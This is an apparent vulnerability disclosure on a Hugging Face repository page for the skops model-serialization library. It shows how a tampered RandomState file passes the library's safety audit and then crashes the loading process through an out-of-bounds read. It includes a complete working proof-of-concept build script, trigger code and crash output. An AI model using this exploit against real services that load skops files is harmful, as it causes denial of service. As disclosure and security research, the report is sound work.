You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

skops RandomStateNode: default-trusted RandomState.set_state() with unvalidated MT19937 pos yields out-of-bounds read (SIGSEGV) from a file certified safe by get_untrusted_types()

Target: skops β€” skops.io secure model serialization Affected version (verified): skops 0.14.0 (latest release), with numpy 2.5.1 Vulnerable file: skops/io/_numpy.py β€” RandomStateNode Class: Memory-safety / untrusted-input validation bypass (out-of-bounds read β†’ SIGSEGV / DoS) in a code path the library's own trust audit certifies as SAFE.


Summary

skops.io markets itself as a secure alternative to pickle: get_untrusted_types() lets a user audit a .skops file, and load() refuses to construct any type not on the trusted list. The security promise is that a file returning [] from get_untrusted_types() contains only default-trusted, "safe" reconstructions and can be loaded with no trusted= opt-in.

RandomStateNode breaks that promise. The node is default-trusted (its self.trusted includes numpy.random.RandomState), and every child node in an honest RandomState dump (DictNode, NdArrayNode, JsonNode) is also default-trusted. So a tampered file still passes the audit β€” get_untrusted_types() returns [] β€” yet the reconstruction payload is taken verbatim from the attacker-controlled schema.json and fed straight into numpy.random.RandomState.set_state() with no validation.

numpy's RandomState.set_state() accepts the legacy ('MT19937', keys, pos) tuple form for backward compatibility and does not validate the MT19937 position field pos against the 624-word key buffer bound. A large pos (e.g. 2**24) makes the first ordinary random draw read far out of bounds, and the process dies with SIGSEGV. The malicious value never touches the trust system: it is an ordinary integer inside a default-trusted JsonNode, so the tree is certified safe and load() proceeds under the default trusted=None with no user opt-in.


Root cause

skops/io/_numpy.py (skops 0.14.0):

class RandomStateNode(Node):
    def __init__(self, state, load_context, trusted=None):
        super().__init__(state, load_context, trusted)
        # TODO
        self.children = {
            "content": get_tree(state["content"], load_context, trusted=trusted)
        }
        self.trusted = self._get_trusted(trusted, [np.random.RandomState])  # default-trusted

    def _construct(self):
        random_state = gettype(self.module_name, self.class_name)()
        random_state.set_state(self.children["content"].construct())  # <-- unvalidated payload
        return random_state
  • self.trusted includes numpy.random.RandomState, so the node is default-trusted β€” no trusted= opt-in is ever required, and this is the node's honest declared type (unlike a base-class / alias trust trick).
  • self.children["content"].construct() returns the MT19937 state dict rebuilt entirely from the attacker-controlled schema.json. The pos field lives in a JsonNode (default-trusted).
  • RandomState.set_state() performs no bounds check on pos. numpy keeps the legacy ('MT19937', keys, pos) form for back-compat; pos is written directly into the MT19937 internal state index. On the next draw, the generator indexes the 624-word key buffer at pos and reads out of bounds.
  • skops does no validation of the reconstructed RandomState before returning it.

Because all involved nodes are default-trusted, get_untrusted_types() returns [] and the audit-then-load workflow that skops documents as safe is fully bypassed.


PoC

Build script (build_evil_randomstate.py): start from an honest skops.io.dumps(np.random.RandomState(0)), then in schema.json change the single JsonNode content["content"]["state"]["content"]["pos"]["content"] from "624" to "16777216" (2**24), repacking the .npy key blob verbatim.

import numpy as np, skops.io as sio, zipfile, io, json

rs = np.random.RandomState(0)
honest = sio.dumps(rs)

zin = zipfile.ZipFile(io.BytesIO(honest))
schema = json.loads(zin.read("schema.json"))

# Tamper: MT19937 position far past the 624-word key buffer.
# Honest saves always have pos in [0, 624]; set_state does NOT validate the upper bound.
pos_node = schema["content"]["content"]["state"]["content"]["pos"]
assert pos_node["__loader__"] == "JsonNode" and pos_node["content"] == "624"
pos_node["content"] = str(16777216)   # 2**24 -> 64 MiB past buffer

buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as zout:
    zout.writestr("schema.json", json.dumps(schema, indent=2))
    for name in zin.namelist():
        if name != "schema.json":
            zout.writestr(name, zin.read(name))   # copy .npy key blob verbatim

open("evil_randomstate.skops", "wb").write(buf.getvalue())

Produces evil_randomstate.skops (5858 bytes, included in this repo).

Trigger:

import skops.io as sio

# 1) audit: file is certified SAFE
data = open("evil_randomstate.skops", "rb").read()
assert sio.get_untrusted_types(data=data) == []      # [] == SAFE

# 2) load under the DEFAULT trusted (no opt-in) -> passes the audit, returns a RandomState
rs = sio.load("evil_randomstate.skops")

# 3) first ordinary use crashes the process
rs.random_sample(5)   # out-of-bounds read in numpy.random.mtrand -> SIGSEGV (exit 139)

Captured evidence (verbatim, reproduced on skops 0.14.0 / numpy 2.5.1)

=== STEP 1: get_untrusted_types (empty == certified SAFE) ===
untrusted: []

=== STEP 2: load under DEFAULT trusted (no opt-in) and use it ===
loaded type: RandomState
about to draw a random number (first ordinary use)...
  -> load+use exit=139

=== faulthandler ===
loaded RandomState -> drawing (expect SIGSEGV):
Fatal Python error: Segmentation fault

Current thread 0x00007f29b2308200 (most recent call first):
  File "<stdin>", line 5 in <module>
Extension modules: numpy._core._multiarray_umath, ... numpy.random.mtrand, ...

=== NEG CONTROL (honest + valid pos=624 both clean) ===
honest untrusted: []
honest loaded: RandomState draw: [0.5488135  0.71518937 0.60276338]   -> honest exit=0
pos=624 loaded, draw: [0.5488135  0.71518937 0.60276338]              -> valid-pos exit=0

Negative control proves specificity: the honest dump and a byte-identical rebuild with a valid pos=624 both load and draw cleanly (exit 0). Only the tampered, unvalidated pos crashes β€” the fault is not inherent to loading a RandomState.

Underlying numpy sink, isolated (no skops involved): RandomState(0); st=get_state(legacy=False); st['state']['pos']=100000; set_state(st); random_sample(5) β†’ exit 139. pos in {625, 1000, 5000} returns garbage without crashing; pos >= 100000 reliably SIGSEGVs.


Impact

A .skops file that skops' own get_untrusted_types() audit certifies as safe ([]), loaded with the default trusted=None and no user opt-in, crashes the loading process (SIGSEGV) on the first ordinary use of the returned object. This is an out-of-bounds read reachable purely from attacker-controlled file contents, defeating the audit-then-load workflow that is skops' core security value proposition. Result: denial of service on any service that loads and uses third-party .skops random states after clearing them through the documented safety check.


Dedup / novelty

Distinct from the four previously-reported skops findings:

  1. zip decompression-bomb β€” different mechanism (archive inflation), different code path.
  2. npy shape-metadata allocation (NdArrayNode) β€” allocation DoS via .npy header shape.
  3. NdArrayNode subclass-cast β€” gettype() cast confusion on array subclass.
  4. SparseMatrixNode spmatrix trust-confusion β€” abstract-base / alias trust trick.

This bug is a different node (RandomStateNode), a different sink (RandomState.set_state() MT19937 pos), and β€” unlike the spmatrix finding β€” requires no abstract-base/alias trust trick: RandomStateNode is genuinely default-trusted and its honest declared type (numpy.random.RandomState) is used as-is. The defect is the unvalidated reconstruction payload fed into set_state(), not a trust-list mismatch.

No HuggingFace repo under EnigmaConsultant/* and no public skops advisory/CVE covers RandomStateNode or the MT19937 pos out-of-bounds read.


Files in this repo

  • evil_randomstate.skops β€” the tampered PoC file (5858 bytes; audits as [], crashes on use).
  • build_evil_randomstate.py β€” deterministic build script (honest dump β†’ tamper pos β†’ repack).
  • ctrl_valid_pos.skops β€” negative control: byte-identical rebuild with valid pos=624 (loads clean).
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support